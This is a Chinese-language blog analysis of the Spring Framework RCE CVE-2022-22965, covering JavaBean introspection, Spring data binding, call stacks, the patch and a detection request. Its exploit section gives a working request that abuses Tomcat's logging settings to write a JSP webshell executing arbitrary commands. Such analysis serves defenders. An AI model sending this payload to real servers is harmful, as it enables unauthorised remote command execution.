首页 > 其他分享 >CVE-2022-22965漏洞分析

CVE-2022-22965漏洞分析

时间:2022-10-12 20:33:40浏览次数:68  
标签:name 22965 springframework public beans 2022 org CVE class

A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.

环境搭建

VulEnv/springboot/cve-2022-22965 at master · XuCcc/VulEnv

前置知识

JavaBean

一个典型的 Bean 对象如下

class UserInfo {  
    private int age;  
 
    public int getAge() {  
        return age;  
    }  
 
    public void setAge(int age) {  
        this.age = age;  
    }  }

通过private定义属性 通过public getXyz/setXyz来读写的class被称为 JavaBean [^1]

Introspector

java.beans.Introspector[^2] 提供一套标准的方法来访问javaBean中的属性、方法、事件,会搜索Bean本身并一路往上搜索父类来获取信息。如通过java.beans.PropertyDescriptor来获取属性相关的信息(name/getter/setter/...

public static void main(String args[]) throws IntrospectionException {  
    BeanInfo info = Introspector.getBeanInfo(UserInfo.class);  
    PropertyDescriptor[] propertyDescriptors = info.getPropertyDescriptors();  
    for (PropertyDescriptor propertyDescriptor : propertyDescriptors) {  
        System.out.println(propertyDescriptor);  
        System.out.println("=================================================");  
    }  }
// java.beans.PropertyDescriptor[name=age; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@6e1567f1; required=false}; propertyType=int; readMethod=public int person.xu.vulEnv.UserInfo.getAge(); writeMethod=public void person.xu.vulEnv.UserInfo.setAge(int)]// =================================================// java.beans.PropertyDescriptor[name=class; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@5cb9f472; required=false}; propertyType=class java.lang.Class; readMethod=public final native java.lang.Class java.lang.Object.getClass()]// =================================================

也可以通过内省操作来进行赋值操作

UserInfo user = new UserInfo();  System.out.println("age: " + user.getAge());  PropertyDescriptor pd = Arrays.stream(info.getPropertyDescriptors()).filter(p -> p.getName().equals("age")).findFirst().get();  
pd.getWriteMethod().invoke(user, 18);  System.out.println("age: " + user.getAge());
// age: 0// age: 18

Spring BeanWrapperImpl

提供了一套简单的api来进行JavaBean的操作,以及一些高级特性(嵌套属性、批量读写等)

public class User {  
    private String name;  
    private UserInfo info;  
 
    public String getName() {  
        return name;  
    }  
 
    public void setName(String name) {  
        this.name = name;  
    }  
 
    public UserInfo getInfo() {  
        return info;  
    }  
 
    public void setInfo(UserInfo info) {  
        this.info = info;  
    }  
 
    public static void main(String args[]) {  
        User user = new User();  
        BeanWrapper bw = PropertyAccessorFactory.forBeanPropertyAccess(user);  
        bw.setAutoGrowNestedPaths(true);  
        bw.setPropertyValue("name", "wang");  
        bw.setPropertyValue("info.age", 18);  
        System.out.printf("%s is %d%n", user.getName(), user.getInfo().getAge());  
    }  }
// wang is 18

在 setPropertyValue(“name”, “wang”) 处分析调用逻辑,大致了解下流程

org.springframework.beans.AbstractNestablePropertyAccessor[^3]

  1. 调用getPropertyAccessorForPropertyPath方法通过 getter 来获取嵌套属性

getPropertyAccessorForPropertyPath 存在嵌套A.B.C属性时,循环调用 getter 取值

  1. 调用setPropertyValue方法通过 setter 来设置属性

processKeyedProperty 设置 Array/List… 对象

processLocalProperty 设置简单 Bean 对象

getLocalPropertyHandler 获取属性描述符

getCachedIntrospectionResults 从缓存中获取 PropertyDescriptor

CachedIntrospectionResults#forClass 为当前Bean创建缓存

setValue 通过反射调用 setter 进行赋值

Spring data bind

以如下的controller为例,跟踪 spring 参数绑定的过程

@GetMapping("/")  public String info(User user) {  
    return String.format("%s is %d", user.getName(), user.getInfo().getAge());  }
  1. 传入的 http 请求经过
  2. org.springframework.web.servlet.DispatcherServlet#doDispatch处理,寻找对应的 Handler 进行处理
  3. org.springframework.web.method.support.InvocableHandlerMethod#invokeForRequest 调用 Handler 前进行参数绑定
  4. 使用响应的

org.springframework.web.method.support.HandlerMethodArgumentResolver#resolveArgument 来进行参数解析,从request中获取参数。这里为org.springframework.web.method.annotation.ModelAttributeMethodProcessor#resolveArgument

  1. 接下来进入到 org.springframework.validation.DataBinder#doBind,根据 JavaBean 对象来进行赋值。这里会获取一个BeanWrapperImpl通过setPropertyValues来进行赋值
  2. org.springframework.beans.AbstractPropertyAccessor#setPropertyValues
  3. org.springframework.beans.AbstractNestablePropertyAccessor#setPropertyValue

源码分析

官方在5.3.18修复了这个问题,查看Comparing v5.3.17…v5.3.18 · spring-projects/spring-frameworkorg.springframework.beans.CachedIntrospectionResults#CachedIntrospectionResults处进行了相关修改,加强了一个PropertyDescriptor相关的过滤。查看相关调用

  • org.springframework.beans.CachedIntrospectionResults#forClass
  • org.springframework.beans.BeanWrapperImpl#getCachedIntrospectionResults

结合上文的内容不难推断,Spring在进行参数绑定时调用的BeanWrapperImpl在进行JavaBean操作时触发了此漏洞。

<init>:272, CachedIntrospectionResults (org.springframework.beans)
forClass:181, CachedIntrospectionResults (org.springframework.beans)
getCachedIntrospectionResults:174, BeanWrapperImpl (org.springframework.beans)
getLocalPropertyHandler:230, BeanWrapperImpl (org.springframework.beans)
getLocalPropertyHandler:63, BeanWrapperImpl (org.springframework.beans)
processLocalProperty:418, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValue:278, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValue:266, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValues:104, AbstractPropertyAccessor (org.springframework.beans)
applyPropertyValues:856, DataBinder (org.springframework.validation)
doBind:751, DataBinder (org.springframework.validation)
doBind:198, WebDataBinder (org.springframework.web.bind)
bind:118, ServletRequestDataBinder (org.springframework.web.bind)
bindRequestParameters:158, ServletModelAttributeMethodProcessor (org.springframework.web.servlet.mvc.method.annotation)
resolveArgument:171, ModelAttributeMethodProcessor (org.springframework.web.method.annotation)
resolveArgument:122, HandlerMethodArgumentResolverComposite (org.springframework.web.method.support)
getMethodArgumentValues:179, InvocableHandlerMethod (org.springframework.web.method.support)
invokeForRequest:146, InvocableHandlerMethod (org.springframework.web.method.support)...

Exp 编写

由于 JDK9 新提供了 java.lang.Module[^4] 使得在CachedIntrospectionResults#CachedIntrospectionResults能够通过class.module.classLoader来获取classLoader,所以这个洞也是 CVE-2010-1622[^5] 的绕过。

目前流传的EXP都是利用 Tomcat 的ParallelWebappClassLoader来修改 Tomcat 中日志相关的属性[^6],来向日志文件写入 webshell 达到命令执行的目的。
例如向webapps/shell.jsp写入 http header 中的cmd

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{cmd}iclass.module.classLoader.resources.context.parent.pipeline.first.suffix=.jspclass.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOTclass.module.classLoader.resources.context.parent.pipeline.first.prefix=shellclass.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

发送报文

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7bcmd%7di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2fROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 7.223.181.36:38888
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
cmd: <%=Runtime.getRuntime().exec(request.getParameter(new String(new byte[]{97})))%>
 

就可以利用shell.jsp?a=cmd来执行命令了

一些其他利用细节可以参考:关于Spring framework rce(CVE-2022-22965)的一些问题思考

补丁修复

Spring 在获取属性描述符时加强了判断,只留下了name属性。

if (Class.class == beanClass && (!"name".equals(pd.getName()) && !pd.getName().endsWith("Name"))) {
    // Only allow all name variants of Class properties
    continue;}if (pd.getPropertyType() != null && (ClassLoader.class.isAssignableFrom(pd.getPropertyType())
        || ProtectionDomain.class.isAssignableFrom(pd.getPropertyType()))) {
    // Ignore ClassLoader and ProtectionDomain types - nobody needs to bind to those
    continue;}

Poc 编写

通过错误地设置classloader下的属性来触发BindException异常让服务端返回异常即可判断是否存在漏洞,例如发送

GET /?class.module.classLoader.defaultAssertionStatus=123 HTTP/1.1
Host: 127.0.0.1:39999
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

服务端返回

HTTP/1.1 400 
Content-Type: text/html;charset=UTF-8
Content-Language: zh-CN
Content-Length: 277
Date: Fri, 08 Apr 2022 03:49:42 GMT
Connection: close
<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>Fri Apr 08 11:49:42 CST 2022</div><div>There was an unexpected error (type=Bad Request, status=400).</div></body></html>

Reference

  • Spring Framework RCE, Early Announcement
  • SpringShell RCE vulnerability: Guidance for protecting against and detecting CVE-2022-22965 - Microsoft Security Blog
  • SpringMVC参数绑定原理 | 技术驱动生活
  • Spring Framework RCE漏洞分析 | Gta1ta’s Blog
  • CVE-2022-22965 (SpringShell): RCE Vulnerability Analysis and Mitigations

 

标签:name,22965,springframework,public,beans,2022,org,CVE,class
From: https://www.cnblogs.com/z123455/p/16785858.html

相关文章

  • 2022.10.12
    看了下自己的工资记录,上个月工资因为请假11小时扣了156,食堂消费22那应该一个月工资是2500,还比预想的多但是恐怕就没法拿满了,因为电器工程实践要花两周时间日子比想象的......
  • Test 2022.10.12
    今天是关机专场关于我好不容易写的题解因为关机而无了这件事T1理想的正方形本来写了挺多的,现在不想多说了,简单来说就是维护一个二维的单调队列一维单调队列就是对每......
  • 2022 CSP-S 游记
    \(9.26\):开坑。没报J组主要是因为J比较垃圾,去抢小朋友的一等没什么意思。初赛刚拿到试卷就直接懵了,这tm是给人做的题?宇宙射线是什么奇妙东西,还有基数排序我根本不......
  • 初步解决manjaro下matlab2022a的simulink无法启动问题
    0.、sudocd /usr/local/MATLAB/R2022a/cefclient/sys/os/glnxa64/&&sudomkdirexcludepwd/usr/local/MATLAB/R2022a/cefclient/sys/os/glnxa64/exclude/1......
  • 报告分享|2022中国游戏电竞圈层营销白皮书
    报告链接:http://tecdat.cn/?p=29214随着电竞入亚、各地电竞政策相继颁布等背景的推助,电子竞技被推上了新的社会高度。2021年EDG夺冠,电竞赛事从圈内小狂欢发展成为普众大趴......
  • manjaro下matlab 2022a的安装问题,解决方法
    https://ww2.mathworks.cn/matlabcentral/answers/364551-why-is-matlab-unable-to-run-the-matlabwindow-application-on-linuxDuetosomelibrarycompatibilityissue......
  • 2022-10-12 vue+uniapp+echarts 使用记录
    第一步:安装echartsnpmiecharts第二步:在main.js引入echartsimportechartsfrom'echarts'Vue.prototype.$echarts=echarts第三步:在项目中使用<template>......
  • 报告分享|2022中国电器服务行业趋势洞察报告
    报告链接:http://tecdat.cn/?p=29186在技术进阶、消费升级、政策等多方因素的驱动下,电器服务不再作为产品销售附属品而存在,服务体验逐渐成为企业实现差异化竞争和消费者选......
  • 2022-10-12 vue+uniapp+echarts 报错日志
    这里是vue+uniapp+echarts报错日志报错一:.initisundefined初始化图表失败,请检查你的echarts是否安装成功成功==》请检查你当前安装的版本是否过高,是==》降低版本(比......
  • manjaro下安装matlab R2022 无法打开simulink报错:Can't reload '/xx/xx/xx/libmwdastu
    Can'treload'/xx/xx/xx/libmwdastudio.soThereasonfortheproblem:Matlabcannotloadthefonttodisplay$MATLAB/bin/glnxa64/libfreetype.so.6;Solutio......